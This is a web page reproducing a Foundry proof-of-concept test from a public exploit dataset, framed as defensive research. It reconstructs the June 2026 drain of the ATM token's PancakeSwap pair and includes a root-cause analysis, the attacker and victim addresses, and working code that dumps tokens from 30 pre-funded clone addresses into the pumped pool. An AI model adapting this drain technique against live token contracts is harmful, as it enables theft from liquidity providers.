Public reproduction file
src/test/2026-06/ATM_exp.sol
Public reproduction file for dataset entry ATM Token.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : ~$243,543 USDT (gross drained from the ATM/USDT PancakeSwap pair)8// Attacker EOA : 0x7e7C1f0D567c0483f85e1d016718E44414CdBAFE9// Attacker Helper : 0xeCe23b485c38110b7a50B5067B7D4B644f897Dc9 (drives the 30 farmer clones)10// Vulnerable : 0x986058ec93756E57b4e55b406dD0BeE24bcD95e3 (ATM token, custom _transfer)11// Victim pair : 0x659b44d603052132fd36cf048d9e0ba1e307ae3a (ATM/USDT Cake-LP)12// Setup Tx : 0x3738909da7960d72efc2635d73aff5f15ef14a1b18ee0281abaa3d4c94adc69b (block 102070707, buy leg)13// Drain Tx : 0x37b90a337075cd2feea93b12780abe9f953dad476e1c1418a02447aaa6dcfd86 (block 102072357, sell leg)14// @Analysis15// Attack date : June 4, 202616// Chain : BSC, drain Block 10207235717// SlowMist : https://hacked.slowmist.io/ (ATM, BSC, $243,500)18//19// ---------------------------------------------------------------------------------------------20// Root cause (verified from Sourcify-verified ATMToken source):21//22// ATMToken._transfer() sell branch (recipient == uniswapV2Pair, not add-liquidity) auto-dumps the23// contract's OWN ATM holdings whenever its balance exceeds swapAtAmount (200e18):24//25// uint256 contractTokenBalance = balanceOf[address(this)];26// if (contractTokenBalance > swapAtAmount) {27// uint256 numTokensSellToFund = (amount * numTokensSellRate) / 100; // numTokensSellRate = 20 -> 20%28// if (numTokensSellToFund > contractTokenBalance) numTokensSellToFund = contractTokenBalance;29// _swapTokenForFund(numTokensSellToFund); // PancakeSwap sell with amountOutMin = 030// }31//32// On every sell the token sells an extra 20%-of-the-sell-size of its own reserves into the pair33// at amountOutMin=0, with proceeds going to the marketing/dividend wallets. Combined with weak34// anti-whale controls that key only off the *sender's* fresh state, an attacker farms the pool.35//36// The anti-whale / anti-bot guards in _transfer are all per-(sender) and per-(recipient) and are37// trivially side-stepped by spreading the position across many brand-new addresses:38// * MAX_HOLDER (100_000e18) -> only checked on the RECIPIENT; each farmer holds < 100k.39// * coldTime (lastBuyTime) -> a fresh address has lastBuyTime == 0, so the 1-min sell lock40// (`block.timestamp >= lastBuyTime[sender] + coldTime`) is always satisfied.41// * tOwnedU 25% profit fee -> a fresh address has tOwnedU == 0 (the `else` cost-basis branch).42//43// ---------------------------------------------------------------------------------------------44// Full on-chain attack (three phases, reconstructed from chain state):45//46// 1. SETUP (tx 0x3738..69b, block 102070707): the helper buys ~2.85M ATM for ~154,319 USDT and47// spreads it across 30 fresh CREATE2 "farmer" clones (~94,999 ATM each, < MAX_HOLDER), each of48// which pre-approves the helper. ATM price after this leg ~0.053 USDT.49//50// 2. PUMP (132 attacker txs, nonce 2308 -> 2440): a burn-on-buy ratchet removes ~45.7M ATM from51// the pair (pair ATM reserve 92.0M -> 45.7M, DEAD balance +45.7M), ~doubling the price to52// ~0.108 USDT/ATM. This is baked into chain state by the time of the drain block.53//54// 3. DRAIN (tx 0x37b9..d86, block 102072357): the helper calls each of the 30 pre-funded clones to55// dump its ATM into the now-pumped pair. Each sell ALSO fires _swapTokenForFund (the contract56// dumps its own ATM to the fee wallets). Net result: 30 swaps extract 243,543 USDT to the helper.57//58// Economics: gross extracted in the drain tx = $243,543 (the figure SlowMist reports). Net of the59// ~$154,319 spent buying in the setup leg, the attacker's profit is ~$89,224 USDT; the pool/LPs are60// the net losers. The ~$57,597 the contract auto-dumped to its fee wallets is a *separate* leak and61// does NOT accrue to the attacker (it actually slightly worsens the price the attacker sells into).62//63// This PoC reproduces phase 3 (the headline drain) on a fork at DRAIN_BLOCK-1, where the 30 farmer64// clones already hold their pumped ATM. The 132-tx pump campaign is not replayed tx-by-tx; it is65// taken as given chain state, exactly as it was at the moment of the real cash-out transaction.67interface IATM is IERC20 {68 function swapAtAmount() external view returns (uint256);69 function numTokensSellRate() external view returns (uint256);70 function presale() external view returns (bool);71 function marketingAddress() external view returns (address);72 function dividendAddress() external view returns (address);73}75contract ATMExploitTest is Test {76 IATM constant ATM = IATM(0x986058ec93756E57b4e55b406dD0BeE24bcD95e3);77 IERC20 constant USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);78 address constant PAIR = 0x659b44D603052132Fd36cf048D9e0BA1e307AE3a;79 IPancakeRouter constant ROUTER = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));81 address constant ATTACKER = 0x7e7C1f0D567c0483f85e1d016718E44414CdBAFE;83 uint256 constant DRAIN_BLOCK = 102_072_357;85 // The 30 pre-funded farmer clones (sell order of the real drain tx). Each was loaded with86 // ~94,999 ATM and pre-approved the attacker helper during the setup leg.87 address[30] FARMERS = [88 0xC15D8313E80FF3f1Ab7C4aA2Acd648b2077Eb52A,89 0x4e5B258Dc3BF21aa23760950d696E6A3C1f87300,90 0x7F5012a11e9794ac0acC7BD6cEF3F65a0aeC71FA,91 0x94f7420549d28C4f323E65929347eDB170e5D54a,92 0x55da04B75b7C8E905E672281c5414Ae10Dc1427F,93 0xbbE72Dc0B2f0557FB2bd90FBa1AE3C0aCC641409,94 0x82dD0626bB982bf67FE2AfAEF4E4eC3d6fBfA523,95 0xF3905e36032634FBb8c13aEF85Cadc179882E18D,96 0xB055AC5817bFdfB4C535E92015F84F1922220bA1,97 0x64976c1259EB3FE467c8d8b644f1D0183FeA7a03,98 0xb40c72Bba81030aeF1Bf67ae941091D8a96a7CCc,99 0xB2bc8BaE8d910Ea1a05C0d0276Bc3d281FD27FdC,100 0xac904A40A80d0f92C67cbC762b5f44267e59E435,101 0xbb4644EF051B826B0532497422BFa5aA39c05307,102 0x168B370C833694D286A08bD83a80f98aeDb9E278,103 0x34fa1C6181519163d23c3965f3Db57B24ed22d2f,104 0x9317164a26E75e631b2e3332bE6b085984Ce67B8,105 0x097f5FDbB3ae1161bCaD68C87414140a388AD311,106 0x8fbEef088b3A7322370c92c37De3BDFE14Ed5821,107 0x92027964d6FD6D557b43153cBC1A458F6310A3E8,108 0xDE55b4F9191D9bCc9266aD66A7Ecc95E716c0690,109 0x3F857Bb8e7EEffa360c0Dc6b0bA3429FEf6a919a,110 0xdEB53352Ee65263BEd0aD3819a221A2912555d42,111 0x933d0264f1E9189dfC7a5f0fD962070ee923a714,112 0xe3Ef365E3AffdB5421CcF538f299e047Db49b6C1,113 0xe45e60e33c9C07CcDEE453AbCE8e479acE513d1e,114 0x05B1Ff0725094405473E9309C6002813db1bF962,115 0x007E6dF4c9ab9Fe72e0d68F462cAf508640B6BFe,116 0x55dBA7ACa55062d928d850ce61FdB25662ce712F,117 0x15f7197203d5C0058f2b213cEaF16ACF3B4dABA3118 ];120 function setUp() public {121 vm.createSelectFork("bsc", DRAIN_BLOCK - 1);122 vm.label(address(ATM), "ATM");123 vm.label(address(USDT), "USDT");124 vm.label(PAIR, "ATM/USDT-Pair");125 vm.label(address(ROUTER), "PancakeRouter");126 vm.label(ATTACKER, "Attacker");127 }129 // ---------------------------------------------------------------------130 // Recon: confirm the pumped price, the pre-funded farmers, and that the131 // contract's self-balance exceeds swapAtAmount (so the auto-swap fires).132 // ---------------------------------------------------------------------133 function testRecon() public view {134 (uint112 rU, uint112 rATM,) = IPancakePair(PAIR).getReserves();135 console.log("ATM/USDT pair @drain-1:");136 console.log(" USDT reserve :", uint256(rU) / 1e18);137 console.log(" ATM reserve :", uint256(rATM) / 1e18);138 console.log(" price (USDT/ATM, 1e6 scaled):", (uint256(rU) * 1e6) / uint256(rATM));139 console.log("presale :", ATM.presale());140 console.log("swapAtAmount :", ATM.swapAtAmount() / 1e18);141 console.log("numTokensSellRate :", ATM.numTokensSellRate());142 console.log("ATM self-balance :", ATM.balanceOf(address(ATM)) / 1e18, "(auto-swap fires when > swapAtAmount)");144 uint256 totalFarmed;145 for (uint256 i; i < FARMERS.length; ++i) {146 totalFarmed += ATM.balanceOf(FARMERS[i]);147 }148 console.log("farmer clones :", FARMERS.length);149 console.log("total ATM in farmers:", totalFarmed / 1e18);150 }152 // ---------------------------------------------------------------------153 // Exploit: dump every pre-funded farmer's ATM into the pumped pair. Each154 // sell re-triggers ATMToken._swapTokenForFund() (the 20% contract auto-dump).155 // ---------------------------------------------------------------------156 function testExploit() public {157 uint256 marketingBefore = USDT.balanceOf(ATM.marketingAddress());158 uint256 dividendBefore = USDT.balanceOf(ATM.dividendAddress());159 uint256 usdtBefore = USDT.balanceOf(ATTACKER);161 console.log("Attacker USDT before:", usdtBefore / 1e18);163 address[] memory path = new address[](2);164 path[0] = address(ATM);165 path[1] = address(USDT);167 for (uint256 i; i < FARMERS.length; ++i) {168 address farmer = FARMERS[i];169 uint256 bal = ATM.balanceOf(farmer);170 if (bal == 0) continue;172 // Drive the pre-funded clone exactly as the helper did: sell its ATM into the pair,173 // routing the USDT to the attacker. The router's fee-on-transfer variant tolerates the174 // ATM tax + the contract's own auto-dump that fires inside _transfer.175 vm.startPrank(farmer);176 ATM.approve(address(ROUTER), bal);177 ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(bal, 0, path, ATTACKER, block.timestamp);178 vm.stopPrank();179 }181 uint256 usdtAfter = USDT.balanceOf(ATTACKER);182 uint256 profit = usdtAfter - usdtBefore;184 console.log("Attacker USDT after :", usdtAfter / 1e18);185 console.log("------------------------------------------------");186 console.log("Gross USDT drained to attacker :", profit / 1e18);187 console.log("Auto-swap leak -> marketing :", (USDT.balanceOf(ATM.marketingAddress()) - marketingBefore) / 1e18);188 console.log("Auto-swap leak -> dividend :", (USDT.balanceOf(ATM.dividendAddress()) - dividendBefore) / 1e18);190 // Reproduces the reported ~$243,543 gross drain (allow slop for swap ordering / dust).191 assertGt(profit, 230_000 ether, "drain below expected");192 assertLt(profit, 260_000 ether, "drain above expected");193 }194}Analysis
Dataset entry
Public Foundry test for “ATM Token” (2026-06-04). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-06/AIDC_exp.solSame month in the dataset · 198 lines
- src/test/2026-06/AISOTHPresale_exp.solSame month in the dataset · 125 lines
- src/test/2026-06/AmbientCrocSwapDex_exp.solSame month in the dataset · 262 lines
- src/test/2026-06/ATM_LP_Burn_exp.solSame month in the dataset · 108 lines
- src/test/2026-06/AztecConnect_exp.solSame month in the dataset · 127 lines
- src/test/2026-06/AztecEscapeHatch_exp2.solSame month in the dataset · 195 lines
- src/test/2026-06/AztecEscapeHatch_exp.solSame month in the dataset · 77 lines
- src/test/2026-06/BOSS_exp.solSame month in the dataset · 142 lines
- src/test/2026-06/BYToken_exp.solSame month in the dataset · 106 lines
- src/test/2026-06/CookFinanceIssuance_exp.solSame month in the dataset · 259 lines
- src/test/2026-06/DIP_exp.solSame month in the dataset · 139 lines
- src/test/2026-06/DLMC_exp.solSame month in the dataset · 160 lines
- src/test/2026-06/DTXT_exp.solSame month in the dataset · 166 lines
- src/test/2026-06/JB_exp.solSame month in the dataset · 198 lines
- src/test/2026-06/LBP_exp.solSame month in the dataset · 289 lines
- src/test/2026-06/LixirPermitDrain_exp.solSame month in the dataset · 251 lines
- src/test/2026-06/NovaBox_exp.solSame month in the dataset · 219 lines
- src/test/2026-06/OceanBPoolSideStaking_exp.solSame month in the dataset · 159 lines
- src/test/2026-06/OLPC_exp.solSame month in the dataset · 301 lines
- src/test/2026-06/RoyalRoyalties_exp.solSame month in the dataset · 196 lines
- src/test/2026-06/Thetanuts_exp.solSame month in the dataset · 172 lines
- src/test/2026-06/TOPBPool_exp.solSame month in the dataset · 143 lines
- src/test/2026-06/Vault4626_exp.solSame month in the dataset · 172 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x7e7c1f0d567c0483f85e1d016718e44414cdbafe
- Attacker
0xece23b485c38110b7a50b5067b7d4b644f897dc9
- Victim
0x659b44d603052132fd36cf048d9e0ba1e307ae3a
File record
- Name
- ATM Token
- Path
- src/test/2026-06/ATM_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 4e14b7357ec62e3abc68403aa5156303f8e94aac
- Language
- Solidity
- Size
- 195 lines
- Date
- 2026-06-04
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-06/ATM_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4e14b7357ec62e3abc68403aa5156303f8e94aac, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.